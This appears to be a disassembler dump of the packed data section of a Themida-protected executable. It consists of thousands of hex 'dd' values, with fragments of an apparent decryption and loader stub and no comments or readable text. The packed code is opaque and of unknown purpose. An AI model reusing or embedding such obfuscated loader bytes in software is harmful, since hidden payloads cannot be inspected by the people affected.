dd 31C2357Eh, 6125CA44h, 0E8B6053Ch, 62E876ECh, 3260DC78h
dd 0F37D3593h, 0BCA7929Dh, 3DB54861h, 0E1753A74h, 0B1F18B69h
dd 354B4DEAh, 0B0A4CC6Ah, 0BC1205F5h, 3DB56A16h, 882BB4CFh
dd 61F05EEFh, 354B84C7h, 62C25F1Dh, 31C23674h, 0F299154Eh
dd 159EBC7Ch, 1586B497h, 31C223CDh, 0F29176E4h, 0D8813EE1h
dd 31C2352Bh, 8CC0482Ch, 1EFB7C8Bh, 0E447D5B4h, 0A1C585B4h
dd 0BDCD5821h, 31C235E7h, 0CE10827Dh, 36C3F4ACh, 0D7038B9Ah
dd 0F1490024h, 2B0F88A4h, 44C23394h, 47FB6C0h, 31C432F5h
dd 62922C06h, 4B7AF5B2h, 0B8C23598h, 36DD48CBh, 0F15FB821h
dd 0CEC43C3Eh, 0B29A6E1Ah, 36D30059h, 26B63574h, 4B7A6669h
dd 0B8C23598h, 36DD48CBh, 9E5FB821h, 0CEC43C39h, 3E9A6E1Ah
dd 0C892C653h, 0BA08BE2Dh, 0C97955F9h, 0D8F37A26h, 31C23545h
dd 1495678Bh, 0C7B1F58Eh, 507DCE5Dh, 46A5A869h, 31A8337Eh
dd 31C1DD6Eh, 6EE2359Ch, 4D4B6A8Dh, 75433103h, 31D431B7h
dd 668535C9h, 219FC727h, 6FD9B0FFh, 31A83335h, 31C1DDCAh
dd 6FE2354Eh, 454B6BE4h, 754331B7h, 31D431EDh, 678435E4h
dd 14460BB1h, 31C23CD0h, 29048F9Ch, 5E8148EDh, 0E13D83F5h
dd 31C23E7Ah, 0FCE5FDC9h, 0BB3D9FFAh, 5A2E49E0h, 0B5CDF532h
dd 31C2350Fh, 0D9953524h, 31C23524h, 6E016AB3h, 35E64940h
dd 35E67165h, 31C23568h, 6201627Eh, 9E373C5Ch, 0B7CD64C2h
dd 31C23525h, 86A2E218h, 31D0DC51h, 104435E4h, 0BC6A6D06h
dd 0DA038CE9h, 0ECB3C5ECh, 2FFEA830h, 0C1495346h, 7A59A81Eh
dd 0BFCD33CEh, 31C235E7h, 8931BE14h, 31C2353Ah, 31CAB393h
dd 0B7CD354Eh, 31C23525h, 0D23DFB18h, 0D99035A3h, 31C235E7h
dd 6B016F52h, 35E661B0h, 35E6711Dh, 31C23554h, 0EC016765h
dd 75A75808h, 1A78EEEAh, 0BCA574FDh, 3DB55AEFh, 0C7753A3Fh
dd 6FD9B011h, 31A83342h, 31C1DD75h, 6BE23593h, 654B6F0Ah
dd 754331C0h, 31D43156h, 63803539h, 2B74335Fh, 31C23AA7h
dd 362D1227h, 0EB0393EAh, 6936550Ch, 56188ECCh, 4A08B414h
dd 5B12CAEAh, 322A679Ch, 11C2354Eh, 0B898F67Dh, 0B0C611C7h
dd 27C6118Dh, 73C235E4h, 354EF620h, 31C7DD28h, 0C46F359Ch
dd 57D06325h, 6F9F1E98h, 0BB358A9Ch, 3E023E3Eh, 31C25760h
dd 0BC11BE72h, 3689AEA4h, 64C25F9Ah, 31C236A6h, 0F29F1527h
dd 15AEBCCEh, 1586B4CDh, 31C228E0h, 0F2977072h, 426582B8h
dd 1CC49A53h, 86CDFFC7h, 898D80F1h, 31C23592h, 0D99235A3h
dd 31C235E7h, 69016D52h, 35E671B0h, 35E6711Dh, 31C23557h
dd 0C2016567h, 64B7A31Ch, 0E523B54Fh, 0B47DD61Bh, 0BC80297Dh
dd 3DB541A4h, 0D18B8C9Ah, 0B44F0E61h, 37CE6B3Ch, 31C2397Ah
dd 807FA3C9h, 0EEBB0B2Dh, 7C54E22Dh, 5B12CA5Fh, 322A679Ch
dd 11C2354Eh, 0B898F67Dh, 0B0C611C7h, 2DC6118Dh, 73C235E4h
dd 4A5CF620h, 8206E6A2h, 3A81238Fh, 0B4463A8Eh, 0D8C23527h
dd 31C23581h, 18A4431Ah, 8886FEF4h, 1936C5BFh, 2C31920Eh
dd 8FA45AD2h, 0AC4F7E7Eh, 37C57EBCh, 0D99235F9h, 31C235CAh
dd 69016DC4h, 35E671FBh, 35E671B8h, 31C23587h, 8701650Eh
dd 11B087F8h, 51442AE3h, 3E6CF749h, 31C22261h, 31D0DC72h
dd 7DFA3539h, 63BF355Dh, 6E8B36F0h, 7344036h, 4C8D468h
dd 31C18DA8h, 0E04335E4h, 8D0242Bh, 0B5CDD6C6h, 31C2359Fh
dd 51158241h, 0CE7D3A47h, 50F182F2h, 0F07B538Ah, 0BC3F8098h
dd 3DB568CFh, 994FB83Fh, 89C439E7h, 0BB896933h, 13C7B014h
dd 0FEE93394h, 0B55AEFBCh, 753A3F3Dh, 0D9B011C7h, 0A833426Fh
dd 0C1DD7531h, 0E2359331h, 836F0A6Bh, 0A4F305E9h, 0BF60C08Bh
dd 471500FAh, 0FE9h, 5D9A9600h, 0F3601A08h, 2D9CF564h
dd 6070FB77h, 8BF98B61h, 8E0FC3h, 8B000000h, 800FC0h, 83000000h
dd 71ACDBDh, 9750006h, 1135BD83h, 74000607h, 8B535019h
dd 47AB8C0h, 85890000h, 6072F81h, 0AE279D8Dh, 0D3FF0609h
dd 0BD83585Bh, 6071135h, 50177400h, 47AB853h, 85890000h
dd 6072F81h, 0AAC89D8Dh, 0D3FF0609h, 8B0F585Bh, 4, 5782BE66h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0F5C35545h
dd 1C03E34Fh, 0B3295B70h, 9E8E6h, 192C0000h, 7C97C427h
dd 0E91C41A3h, 0Ch, 0B4F9129Eh, 410F4B08h, 1695ADD0h, 0E9C08B5Eh
dd 266h, 0D98C6660h, 0F04C1F6h, 3584h, 0FF016A00h, 7059DB5h
dd 38858D06h, 0FF060A70h, 0F98589D0h, 8B060706h, 0CEFC1FEh
dd 6000068h, 6A006A20h, 0D685702h, 0FF000100h, 706F995h
dd 32E906h, 85C60000h, 60709CDh, 30DF6856h, 0B5FFA9C5h
dd 6070D99h, 7038858Dh, 0D0FF060Ah, 84D8589h, 858D0607h
dd 6071291h, 6A406A50h, 95FF5605h, 607084Dh, 0C361h, 2 dup(0)
dd 8B520000h, 428B60D4h, 13858908h, 8B060C7Dh, 85890C42h
dd 60C7D0Bh, 8910428Bh, 0C7D0F85h, 49B58D06h, 8D060C7Dh
dd 5B7E3585h, 61D0FF00h, 0CC25Ah, 7D13B58Bh, 858B060Ch
dd 60C7D0Bh, 7D0FBD83h, 0F00060Ch, 784h, 0E9068900h, 2
dd 0CF0688h, 0
db 3 dup(0)
byte_594533 db 52h ; DATA XREF: Themida_:0053C9B0o
dd 8B60D48Bh, 85890842h, 60C7D13h, 7D9AB58Dh, 858D060Ch
dd 5B7E35h, 5A61D0FFh, 7D13858Bh, 4C2060Ch, 13858B00h
dd 8B060C7Dh, 13858900h, 0CF060C7Dh, 0
dword_59456C dd 70B58960h, 89060C7Dh, 0C7D6C85h, 2D858D06h, 8B06070Fh
; DATA XREF: Themida_:0053DA2Co
dd 85894440h, 60C7DA9h, 7DDFB58Dh, 858D060Ch, 5B7E35h
dd 8B61D0FFh, 0C7D7085h, 9D8BC306h, 60C7D6Ch, 3C43B70Fh
dd 5B8BD803h, 6C9D0378h, 8B060C7Dh, 0B5032473h, 60C7D6Ch
dd 207B8B56h, 31C738Bh, 0C7D6CBDh, 6CB50306h, 0FC060C7Dh
dd 41FFC983h, 7D709D8Bh, 178B060Ch, 7D6C9503h, 0C783060Ch
dd 84028A04h, 0F840FC0h, 3A000000h, 0DC850F03h, 43FFFFFFh
dd 0FFE7E942h, 33AFFFFh, 0FFCD850Fh, 0D15FFFFFh, 4B70FE1h
dd 86048B0Fh, 7D6C8503h, 8589060Ch, 60C7D70h, 0CE8BF08Bh
dd 0BD81C18Bh, 60C7DA9h, 0C0300000h, 0D850Fh, 0E8C10000h
dd 0FFC2514h, 8E90000h, 0C1000000h, 0F82512E8h, 8B00003Fh
dd 0C7DA9BDh, 70C8306h, 7148B06h, 8124C28Bh, 0C18B813Ch
dd 57840Fh, 0BD810000h, 60C7DA9h, 0C0300000h, 0D850Fh
dd 0E8C10000h, 0FFFC250Ah, 8E9003Fh, 0C1000000h, 0F82509E8h
dd 2D007FFFh, 40000000h, 0F7060883h, 8000h, 1E840F00h
dd 81000000h, 0C7DA9BDh, 30000006h, 0E840FC0h, 25000000h
dd 3FF8h, 808Bh, 883C060h, 858DCF06h, 60C7D17h, 2A998589h
dd 858D0607h, 60C7DADh, 126D8589h, 858D0607h, 60C7D74h
dd 1F18589h, 6E80607h, 20000000h, 917A8E49h, 5EF88AF4h
dd 0CE9h, 0D831FD00h, 37EC486Eh, 937CE7DBh, 0E6C681BFh
dd 8000005Fh, 0BDB93ED8h, 0E9000017h, 8, 0FB35EFC5h, 43DC0ABEh
dd 0AE83E8Bh, 41000000h, 0EED12D5Eh, 4C24B435h, 4FF5BB8Dh
dd 815B010Bh, 9098ABC7h, 0C781F50Eh, 2FB1540Eh, 44ED7FBBh
dd 56EF8135h, 0F0A03F5h, 198Ch, 11E800h, 0CC2E0000h, 0F9591FA9h
dd 0B0F418E1h, 0C727222Ah, 60077F34h, 3E895B61h, 814EC4BBh
dd 93EE813Bh, 6059C42Fh, 0FC6B70Fh, 68Ah, 8BD78100h, 611F7F7Ch
dd 2F8FC681h, 0B70F59C4h, 850F49C7h, 22h, 8E951h, 9A3D0000h
dd 48F0B132h, 0E958AC4Eh, 31h, 2EEAC6ECh, 0E0598472h, 0B185F4CBh
dd 0CE9FFA1h, 67000000h, 0BF39391Bh, 0AFF3F9ABh, 0E9528C9Ah
dd 0FFFFFF4Ch, 0A41A8445h, 402D8795h, 0A3D78291h, 9E8B2h
dd 55510000h, 20E2BF3Ah, 0B9C64A40h, 0B42F54Eh, 3BD5805Eh
dd 5ED2C681h, 60570000h, 66DF8B66h, 19B0EA81h, 0D22B5961h
dd 8B35CD80h, 870F163Ch, 6, 0E79FF081h, 0EF815999h, 7B1BA68Ch
dd 0EF81DE8Ah, 64B8401Dh, 0A890Fh, 8D0F0000h, 4, 0A0C7B866h
dd 0D1A1F781h, 8B660A37h, 0C88A57C3h, 8116048Fh, 0DFE6A7C3h
dd 0EA81F951h, 65B01C2h, 81C28B66h, 5B01BEC2h, 3880F06h
dd 66000000h, 0FA81C18Bh, 0FFFFA1ECh, 1B850Fh, 0E1810000h
dd 57377440h, 27E9h, 0B9549500h, 0FD288ABDh, 0F24D6A1Ch
dd 0A6AC3A10h, 68A0F1Eh, 81000000h, 0FDE6E4F0h, 0FF6DE940h
dd 3E1CFFFFh, 46BFBED6h, 15CE9h, 0F61F4F00h, 0EE4BFBF0h
dd 0FC58AC96h, 0F756B50Ah, 0F456BF53h, 0FF58300Ah, 0D4714E53h
dd 8624663Ah, 0A6255753h, 127943C4h, 0C1B68060h, 0B0140952h
dd 0B015D053h, 0B0147C53h, 0B0143A53h, 0B0141F53h, 0B0148F53h
dd 0B014E853h, 0B014E353h, 0B014F953h, 0B014F853h, 0C36D2F53h
dd 0B0795B27h, 0DF664F73h, 0C367EA30h, 0B014C70Eh, 0B014E353h
dd 0B014F153h, 0B014F853h, 0B0147C53h, 0B0143E53h, 0B0141F53h
dd 0B0148F53h, 0B014C753h, 0B014E353h, 0B014F153h, 0B014F853h
dd 0B0147C53h, 0B0143E53h, 0B0141F53h, 0B0148F53h, 0B014C753h
dd 0B014E353h, 0B014F153h, 0B014F853h, 0B0147C53h, 0B0143E53h
dd 0B0141F53h, 0B0148F53h, 0B014C753h, 0B014E353h, 0B014F153h
dd 0B014F853h, 0B0147C53h, 0B0143E53h, 0B0141F53h, 0B0148F53h
dd 0B014C753h, 0B014E353h, 0B014F153h, 0B014F853h, 0B0147C53h
dd 0B0143E53h, 0B0141F53h, 0B0148F53h, 0B014C753h, 0B014E353h
dd 0B014F153h, 0B014F853h, 0B0147C53h, 0B0143E53h, 0B0141F53h
dd 0B0148F53h, 0B014C753h, 0B014E353h, 0B014F153h, 0B014F853h
dd 0B0147C53h, 0B0143E53h, 0B0141F53h, 0B0148F53h, 0B014C753h
dd 0B014E353h, 0B014F153h, 0B014F853h, 0B0147C53h, 6E169853h
dd 16DCE95Fh, 0DD680000h, 0E9060C83h, 0FFFBBF58h, 0C852668h
dd 0BF4EE906h, 0DA68FFFBh, 0E9060C85h, 0FFFBBF44h, 0C86AA68h
dd 0BF3AE906h, 5B68FFFBh, 0E9060C88h, 0FFFBBF30h, 0C89C668h
dd 0BF26E906h, 9E68FFFBh, 0E9060C8Ah, 0FFFBBF1Ch, 0C8B8A68h
dd 0BF12E906h, 9B68FFFBh, 0E9060C8Dh, 0FFFBBF08h, 0C8E8E68h
dd 0BEFEE906h, 7968FFFBh, 0E9060C8Fh, 0FFFBBEF4h, 0C903568h
dd 0BEEAE906h, 7C68FFFBh, 0E9060C91h, 0FFFBBEE0h, 0C966E68h
dd 0BED6E906h, 6B68FFFBh, 0E9060C97h, 0FFFBBECCh, 0CFA17069h
dd 6C3E1108h, 0ADCADA5h, 0A2745143h, 3E10E5DBh, 0C1B72B6Ch
dd 60531AECh, 0F8ECB385h, 91864D1Fh, 92CFE8BAh, 254A5BA8h
dd 1D1B5C80h, 1E4B5146h, 0D468A19Dh, 3D823F2h, 0BA65370Eh
dd 0ECD6B3B1h, 8C37F668h, 43160DBAh, 0E0FE21F8h, 66350C01h
dd 0E1B8091Bh, 248D8029h, 78D2ABDCh, 2F4AF169h, 82000000h
dd 7E5BC962h, 38DE7894h, 0E530118Ch, 2ABB82D3h, 3C05780h
dd 2ABBCC19h, 0FBD0C680h, 3213D9B0h, 8FB8080Fh, 0F16A56B6h
dd 0BF2Eh, 51466600h, 645A2F7Ah, 7A6F448Fh, 2319C6A3h
dd 92C034Eh, 0C59C9166h, 0D169EFF3h, 0F3D18631h, 2166A4E7h
dd 8BB0D31Ch, 26EDBF96h, 560F5A31h, 88724FD5h, 8C3803B4h
dd 873204E5h, 0B9A380E4h, 86338428h, 0BE6B4829h, 4A21F3C8h
dd 0DCC6A59Dh, 8623718Fh, 8DD8A788h, 1FEEC1B8h, 0CE1D7FCh
dd 0FCF05455h, 0E933C09Dh, 149Dh, 0CFA17069h, 6C3E1108h
dd 0ADCADA5h, 0A2745143h, 3E10E5DBh, 0C1B72B6Ch, 60531AECh
dd 0F8ECB385h, 91864D1Fh, 92CFE8BAh, 25495BA8h, 1D1B5C80h
dd 0A97B5046h, 902BF4D2h, 6F90DDC7h, 0A8898631h, 0D54B27AAh
dd 0C1988DB2h, 6A4337E4h, 877B481Fh, 0A9618BAEh, 7E5BC962h
dd 452214C1h, 9E0023FAh, 8C38DD82h, 4557A283h, 802ABBF4h
dd 918532C9h, 368E95B8h, 0D5CB78h, 23BBDEB5h, 0F16A574Ah
dd 0FDC2h, 7936FA00h, 31CD428Fh, 95624386h, 7EA3C6A3h
dd 658F8389h, 0C7453DEEh, 7B6E1BF8h, 0EF506C71h, 3D2A024h
dd 19ECE3B8h, 0AF8A7D4Ah, 0C76A8D64h, 2CA004E2h, 93B5011Fh
dd 51554B70h, 0E1083181h, 0D2CA97A6h, 10DFB601h, 3923E0C5h
dd 86318EECh, 44170EEDh, 6AF05275h, 0D0863193h, 9D6E6613h
dd 24717B52h, 0ED863193h, 704188C2h, 5334FA5Dh, 3F160B30h
dd 0DAB1A66Dh, 0D155D68Fh, 0E1B803DEh, 92883512h, 0CE9B72BDh
dd 0DDB4FFDCh, 0C79B85BAh, 0CE8C3824h, 0FB701BEDh, 0E5CF8C69h
dd 8029F598h, 588DB091h, 33A0CC6Eh, 0F6EECD86h, 89665825h
dd 3A30DDBAh, 0D6CC9365h, 12694A01h, 32BF9DFDh, 1354E8h
dd 58272000h, 0F5C8BF86h, 93645C23h, 2B08FAC1h, 0C79C9259h
dd 6EE223F5h, 0AD1A378h, 0A36A3C17h, 3D04D6AFh, 869F7148h
dd 48125F49h, 0D2138025h, 7B5046D4h, 16EDE2A9h, 51468C44h
dd 9D4A2F7Ah, 86ABCEABh, 21E8BA91h, 380D5829h, 0C39A6C43h
dd 0CCCF1C06h, 0E7C88631h, 627CB9C4h, 92912F84h, 577A02D0h
dd 6A47DD4Eh, 38CCFC80h, 529C7D8Ch, 0B4FAEE3Eh, 382BD877h
dd 183B125Dh, 2B081C0Fh, 0ABABE541h, 0E6C3A49Ah
dd 4B6E4339h, 0E87CEFA8h, 1B08210Bh, 280994B2h, 0D2A99E4Bh
dd 839317F5h, 7A2ED012h, 71662D57h, 82DAE39Ah, 0D5628F6Fh
dd 12A08Bh, 0A4736C00h, 41140BD2h, 0DFB0A86Fh, 7754460Dh
dd 13E8DEA5h, 0BA2E6F41h, 561DEFC4h, 0EFB68863h, 895022FBh
dd 0D2EBBD94h, 475EAB95h, 16578025h, 5583618h, 578964D7h
dd 56D21F09h, 0F2D38631h, 0E6DB0023h, 32DFC40Fh, 3942653Eh
dd 6B553232h, 8C3857DBh, 0D0A7795Ah, 56DC2913h, 0FCDD802Ah
dd 0E8BFB4D9h, 0DF47E49Dh, 0CC1903ECh, 0CD802A56h, 714E1DECh
dd 567DCAB4h, 6A3E802Ah, 0A59DC927h, 81A4854Bh, 0F17624Ch
dd 2F108637h, 0D9B0A552h, 744B4007h, 69FB7029h, 15E8DF8Ch
dd 68D3BDF2h, 218C328Fh, 0C1B66340h, 68600DEAh, 834A7497h
dd 0A01C888Eh, 8C5569Bh, 3635EE39h, 0D767512Eh, 568630DEh
dd 8609BE75h, 0BA479DEFh, 11D070h, 0D4A39C00h, 71443B02h
dd 0FE0D89Fh, 0A784763Dh, 43180ED5h, 0EA5E9F71h, 864D1FF4h
dd 1FE6B893h, 0B980522Bh, 21BEDC4h, 468EDBC5h, 46878025h
dd 7B504648h, 5E55C09Eh, 0AA4B14D4h, 0C9865D87h, 315292DFh
dd 8FB29386h, 0A27FE586h, 385274B8h, 8F86658Ch, 0CB9A71BCh
dd 0DFB6AB80h, 7A51460Dh, 6FF5762Fh, 2E18D592h, 802A52E1h
dd 7CDE01E2h, 86317530h, 0B8FD4829h, 0EEE399E9h, 860403E8h
dd 9F6EF5C4h, 5549F6CDh, 375A317Ch, 4A273D2Eh, 38061C60h
dd 473E1D8Ch, 855AA574h, 996EB990h, 0AD82CDA4h, 14EFE2B9h
dd 2B15FA45h, 802A05DEh, 0EAB9F6D7h, 0BDBEE29Ah, 0CC58D365h
dd 8E8532EFh, 0F23698BBh, 0E3863105h, 7E682502h, 86310631h
dd 42E5132h, 0B48D802Dh
db 0C1h, 0E6h
word_594F42 dw 0C49Bh ; DATA XREF: ___:off_438100o
dd 0DED5AAF5h, 613E3C0Bh, 0DC7CC469h, 0F5EA0F32h, 41EED31Eh
dd 532A754Ch, 0AB7DCE30h, 85778631h, 96885DA8h, 0A6996EB9h
dd 3090B9CBh, 411F7688h, 2A1E718Eh, 0E0F75351h, 0EDBC9187h
dd 34572820h, 3227D52Dh, 0D7C17E5Bh, 8631988Ah, 0EFB59284h
dd 0FAC1EB0Eh, 2AE32E05h, 5C462301h, 8C38BB20h, 6F4618F9h
dd 0BC445D91h, 587B86E5h, 0A6C5F54Dh, 0CA004B8Fh, 7573FDC9h
dd 19813C22h, 2300CFF0h, 3660F639h, 0B802E386h, 2318EBE1h
dd 0F3A07D4Ch, 600326FFh, 2660FD4Eh, 0C181386h, 0E1E2452Fh
dd 0B6978C32h, 52372CD9h, 0E05EAB95h, 76578029h, 29E11F6Ch
dd 68371880h, 97E4CE8Bh, 908029E0h, 9B628CAFh, 0AF84CFA6h
dd 0A42DE4B9h, 0C0A3F680h, 101FE933h, 0F2EB0000h, 938A5123h
dd 2F27EEC0h, 0D3C58C5Eh, 675D24F6h, 0ADEEC092h, 9C6E4339h
dd 3507E2D5h, 0CFA17A6Eh, 6A3C1308h, 0DD2A1451h, 0D6802544h
dd 50469795h, 67B2877Dh, 18EFC190h, 0CD24715Bh, 44258631h
dd 3207FC21h, 451C673Ch, 61562B76h, 0FC253F8Ah, 0FB01F6A4h
dd 0AF154C9Ah, 966F6358h, 0EC26F8C7h, 0F7710C13h, 24F39F6h
dd 386317Dh, 7F5FFF22h, 78000001h, 7C84D1BBh, 0A4858631h
dd 51466B81h, 655A2F7Ah, 1A11BC8Eh, 0BF432D0Ah, 0B68C38E7h
dd 27788AD5h, 0FC802AB3h, 411A3393h, 0B9F16A4Ah, 3Fh, 5DC962F1h
dd 0CBB59267h, 8631CC7Eh, 0EAC79677h, 2136E0Ch, 0AC3A380Bh
dd 63B5E79h, 3853001Ch, 0C0AA998Ch, 802A3273h, 79C49374h
dd 2A331667h, 2282EB80h, 69CE3009h, 0D0A8F1h, 46E00000h
dd 4A2F7A51h, 0CC56A38Dh, 604F8631h, 31CD2976h, 7A492A86h
dd 673C3257h, 7B52471Ch, 29FAF19Eh, 3A115C35h, 7C49206Bh
dd 8D64AF88h, 35E2C76Ah, 49206B3Eh, 350C0126h, 0D1D95F63h
dd 5C518631h, 2FDCB385h, 0CEAE313Dh, 19EB672Dh, 528FF4Ah
dd 18F56FFCh, 3B6E0A2Eh, 4D2A0B8Ch, 3D5AAA0h, 0B4897F2Ch
dd 4A6F9269h, 0B48D8154h, 0C6A19469h, 8F50F9F7h, 71FCBBCBh
dd 9CF0EBA2h, 0FB88A3F7h, 0EB4B1h, 0B8878000h, 55281FE6h
dd 0F3C4BC83h, 8B685A21h, 27FCF2B9h, 0CE428355h, 6A3103D8h
dd 3CA9C77h, 9D64360Fh, 0E6FFD1A8h, 4372BFA9h, 32738025h
dd 7D504634h, 0DDFAE8Bh, 877C5146h, 968065B0h, 8631CD49h
dd 0CB9A694Ah, 514641F9h, 62AD8A7Ch, 9C71BC8Bh, 37FED0A7h
dd 67206B42h, 998360C4h, 8C38F9ADh, 712E0BECh, 2AA13A87h
dd 375A3B80h, 7F5D10Dh, 2DDA0000h, 996E6437h, 5DA8774Eh
dd 0CEC58886h, 12DB5C44h, 5046D9EFh, 9E4B307Bh, 0F06D3A8h
dd 0F71AF13Ch, 31CD4495h, 55D15A86h, 663D8861h, 75D0BA97h
dd 128C3E4Dh, 0B2A75431h, 1A11EADDh, 0D7A97847h, 0F9441B10h
dd 3CB93614h, 0F79D691Ch, 105B382Ah, 0FBF11639h, 15766F26h
dd 8916A3FBh, 0DDC3Fh, 0E0AFA800h, 7D50470Eh, 1BECE4ABh
dd 0B3908249h, 4F241AE1h, 0F66AAB7Dh, 92592B00h, 2BF2C49Fh
dd 0C58C5E37h, 0E27F9D0h, 429AE7D1h, 5A9B8025h, 7B50465Ch
dd 31F4D2A9h, 0A5F9B002h, 52476C8Fh, 24AA7C4Ch, 31A1ED3Ah
dd 705E686h, 7C49B49Bh, 97E2B186h, 0ABF6CDC2h, 62186891h
dd 0CB9966Dh, 0F6204314h, 710FE3BCh, 4C09C6F7h, 31811562h
dd 232D0E86h, 863180D6h, 2BCBEECFh, 17h, 0D6F20963h, 0B9968631h
dd 0C2C512FCh, 0DDBE8631h, 0FDA820BAh, 948FFFFh, 8631CCB8h
dd 2603F5A2h, 0D8E104DBh, 8A6AA253h, 0A64D14D1h, 0BD10FAD7h
dd 0DA8C3D7Dh, 7A6F1CF9h, 0E4967D74h, 7FD5665h, 0C2946332h
dd 714A3EEBh, 5D34294Eh, 0DADCD380h, 21C55E66h, 0B500CF7Bh
dd 431E11DEh, 0B2A87D20h, 1EC926DDh, 4AD7A3FBh, 0CF000h
dd 0F4C3BC00h, 91645B22h, 2F00F8BFh, 0C7A4965Dh, 63382EF5h
dd 0A7EBF91h, 0A66D3F14h, 3F06D8B3h, 0D9A0724Bh, 223B0DE4h
dd 41AEFBE5h, 66A78025h, 7A514668h, 8E655A2Fh, 0A0002943h
dd 5C2E05FAh, 71684922h, 0DC1F7h, 9F90000h, 8631D6F2h
dd 0FCFC5496h, 627CFFFFh, 947E5BC9h, 8C38E700h, 952CA482h
dd 0F8F6D1C4h, 1007F053h, 2D4B6E3Dh, 0C69B913Eh, 29DF6FBCh
dd 926F6180h, 24F5EDCCh, 563B8655h, 0F9ADB5A9h, 0AFF45810h
dd 4EB0D3A2h, 802A57FEh, 0F11A6AD3h, 0F169EF18h, 978C1DFBh
dd 0DA264CE7h, 1CD17B7h, 364F0000h, 73BE9389h, 0F617799Ch
dd 8E8631CCh, 0DBEED3B1h, 39078F71h, 7FA2756Ch, 1C06C310h
dd 8631A6CFh, 9FC4E7C8h, 3A01D3AAh, 11236E45h, 8631A728h
dd 1DC323F2h, 0D47F5128h, 0B085D056h, 0EBF1E6BBh, 0EEF74498h
dd 7EC99881h, 0DDCB5A9h, 39F94630h, 19FA8631h, 0BCB1784Ah
dd 0A7889AE5h, 0BC86313Ah, 1DAF353h, 79F770D1h, 15Fh, 7A5146B1h
dd 8FA5BF9Dh, 7A29FF00h, 6A7D4B1Eh, 629F82Ch, 0C2998E63h
dd 0F2645F0h, 0FCE06E65h, 8EBA7B81h, 74ED6664h, 0ECBA877h
dd 75986961h, 38978F13h, 0DA25068Ch, 2A8277C8h, 83E34C80h
dd 6A19916Ah, 3209F1h, 62410000h, 947E5BC9h, 8C38DE78h
dd 0EB382211h, 0EC802ABBh, 0DFF13C0Bh, 802ABB8Eh, 0E4AAFA63h
dd 0BBF03D27h, 8E9802Ah, 56744DE5h, 0CCECF16Ah, 24000000h
dd 9D7A5146h, 0D621FEF0h, 6439DCFFh, 794E996Eh, 68B59F84h
dd 618631CCh, 9166B180h, 3BE8C59Ch, 28755F48h, 218631CDh
dd 4F267140h, 90B39082h, 0E5646266h, 0E9DE8631h, 0BC694012h
dd 0C5CEF1C6h, 24E1BEA6h, 8BC2DB46h, 9A71BC99h, 1044F9Ch
dd 9F587CDEh, 60418C3Ah, 8FDCC683h, 7180285Ah, 285B3A87h
dd 945A3B80h, 0AE5B90B3h, 4A11E3B8h, 31C87F54h, 83A3F807h
dd 0ADFACF6h, 0B2AB0000h, 534A11E3h, 0EFE7AE80h, 93854C1Eh
dd 271DE4B6h, 6DAE8052h, 5C2E03F9h, 0F5C7A295h, 8F613A2Eh
dd 2AFCD3C8h, 9DEAD411h, 9680253Fh, 50465755h, 0F4CBC06Dh
dd 7BC8D2A9h, 448631CCh, 6B5B25D4h, 7A5B213Eh, 1D12D9ABh
dd 46BC7446h, 5A2F7A51h, 80BC8E65h, 43Bh, 12E5DC89h, 2E23F0C7h
dd 601E3457h, 121219A1h, 4E094B35h, 0FF08C3Eh, 3931DEC5h
dd 23461D68h, 3613111Ah, 0DD0B9B79h, 0BDE05E92h, 6592660Fh
dd 254817F2h, 2C0513C3h, 51FEBB86h, 633A855Ch, 26050C59h
dd 39120686h, 4D9A8473h, 46862605h, 55739665h, 0C6172974h
dd 9B862604h, 0E0B9D232h, 58F7659Bh, 383h, 0CCB80990h
dd 33758631h, 3B8631CDh, 9A573430h, 31CC63B0h, 93856486h
dd 0C5946BB6h, 0B3836DA2h, 0B28C38CEh, 95E91AD1h, 52DFA3F5h
dd 9EC08h, 0F0BFB800h, 8D60571Eh, 2BFCF4BBh, 0C3A09259h
dd 5F342AF1h, 67ABB8Dh, 0A2693B10h, 3B02D4AFh, 0D59C6E47h
dd 1E3709E0h, 3EAAF7E1h, 6AAB8025h, 7A51466Ch, 99C0BF9Dh
dd 0A1EA1327h, 18F6DB7Eh, 634DFFADh, 8630E816h, 0D2302E0Fh
dd 1F6C562Dh, 18863106h, 3C456837h, 0F03D272Fh, 0E9863105h
dd 725C3908h, 8C3D8733h, 0B6613314h, 0E8D2AFB5h, 863207ADh
dd 3FECC9AAh, 0C89F714Ch, 5D4210Bh, 0F4D58631h, 7466FD1h
dd 73308631h, 31073C89h, 695E3D86h, 0A1704792h, 6FC9757Eh
dd 8E3D69Dh, 60AA4D2Bh, 438E655Ah, 2E9C6E6Ch, 8B600326h
dd 25E2BF96h, 30D5EE3Bh, 0E306E786h, 0BBAE5B40h, 9BBE95E0h
dd 0AE8B9992h, 380050C4h, 0D854328Ch, 216E58A0h, 22802AA1h
dd 0E3474341h, 0B394B2D5h, 0F59F11FCh, 0F43ECBA3h, 901h
dd 3305D4CDh, 0D0A2756Ch, 6E401109h
dd 6D8B5A7h, 0A274493Fh, 251B8FD0h, 0C4B77E50h, 5C5017E9h
dd 0F5EAB183h, 0F6334C1Eh, 253DBF0Ch, 7977B880h, 7E5BC962h
dd 0C8D8DAD1h, 0D87C4F54h, 19F03B0Ah, 0D805523Ch, 1DFE8630h
dd 0A0DBC5FAh, 798C3D58h, 1B0EBB98h, 1856340h, 471480A2h
dd 0AE759FC2h, 0C79CB1BBh, 717FE3FFh, 8D9E57A2h, 1D0A199h
dd 0A9847724h, 2F64875Eh, 38779472h, 43758BDAh, 532A7550h
dd 0C0FF6184h, 0C18631CDh, 4FDC95E0h, 0C20DE0D7h, 54271EEBh
dd 7EBEA885h, 688C38D6h, 0C274C1ABh, 7C6E802Ah, 0B77D549Fh
dd 0B495B3D6h, 0F59F1AFDh, 0FF49D6A3h, 845h, 77491811h
dd 14E6B9B0h, 0B284554Dh, 4A1CF9EBh, 0E6B88D83h, 695FD314h
dd 8FBC294h, 0A0945B2Dh, 392EF5C7h, 3A779062h, 253D0350h
dd 0C5C30480h, 2F7A5146h, 0B18E655Ah, 0CCBD0AF4h, 0D5B68631h
dd 9EF50FB2h, 225FCF1h, 7E5ABFBh, 3B3269D3h, 89AED10Ah
dd 0B1EBBD94h, 0F77090D8h, 14A50h, 51468800h, 655A2F7Ah
dd 1A11BC8Eh, 0C3702D0Ah, 0D7ACF7CEh, 5D3A09E4h, 31CD2673h
dd 1B3E1F86h, 38E735B9h, 6C600D8Ch, 4E714893h, 895A5130h
dd 1FEEBD94h, 0C7A29542h, 0DF82A57Ch, 0C1B21CFAh, 1DDD932Dh
